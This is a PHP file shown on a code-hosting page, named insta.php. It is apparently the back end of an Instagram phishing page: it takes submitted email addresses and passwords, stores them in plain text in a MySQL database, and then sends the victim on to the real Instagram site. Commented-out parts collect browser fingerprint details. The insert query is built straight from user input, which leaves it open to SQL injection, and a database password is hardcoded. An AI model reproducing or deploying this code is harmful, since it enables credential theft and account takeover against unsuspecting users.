-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathinsta.php
55 lines (38 loc) · 1.17 KB
/
insta.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
$Email = $_POST['Email'];
$Password = $_POST['Password'];
// Database Connection
$con = mysqli_connect ("localhost","root","vgfrgggh","instagram");
$sql = "INSERT INTO login(Email,Password) values('$Email','$Password')";
$r = mysqli_query($con,$sql);
if($r){
echo" USER DETALS ADD SUCCESSFULLY";
}else{
echo"STUDENT DETALS NOT ADDED";
}
$redirect_page = "https://www.instagram.com";
header("Location:".$redirect_page);
// echo $_SERVER['HTTP_USER_AGENT'];
// $browser = get_browser();
// print_r($browser);
// $con = mysqli_connect ("localhost","root","","facebook");
// $sql = "INSERT INTO userinfo(useragent) values('$browser')";
// $r = mysqli_query($con,$sql);
?>
<!-- <script>
var AppCodeName = navigator.appCodeName ;
var Product = navigator.product ;
var UserAgent = navigator.userAgent ;
var Platform = navigator.platform ; -->
<!-- <?php $appcodename = AppCodeName;?>
</script> -->
<!-- <?php echo $appcodename;?> -->
<!--
<script>
var a = navigator.appCodeName ;
window.location.href = window.location.href+'?a='+a;
</script>
<?php
$var = $_GET['a'];
echo "a";
?> -->